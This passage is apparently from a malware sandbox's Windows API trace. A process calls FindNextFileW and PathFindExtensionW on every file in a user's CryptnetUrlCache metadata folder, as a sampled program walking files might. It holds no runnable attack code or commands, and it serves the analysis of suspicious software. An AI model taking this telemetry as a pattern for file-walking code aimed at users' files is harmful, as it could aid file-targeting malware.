ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0121.476] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0121.476] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0121.476] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0121.476] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0121.476] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0121.476] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0121.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0121.477] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0121.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0121.477] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0121.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0121.477] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0121.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0121.477] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0121.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0121.477] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0121.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0121.477] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0121.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0121.477] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0121.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0121.477] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0121.477] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0121.477] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0121.478] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0121.478] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0121.478] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0121.478] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0121.478] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0121.478] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0121.478] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0121.478] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0121.478] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0121.478] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0121.478] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0121.478] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0121.479] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0121.479] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0121.479] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0121.479] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0121.479] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0121.479] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0121.479] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0121.479] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0121.479] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0121.479] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0121.479] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0121.479] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0121.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0121.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0121.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0121.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0121.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0121.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, 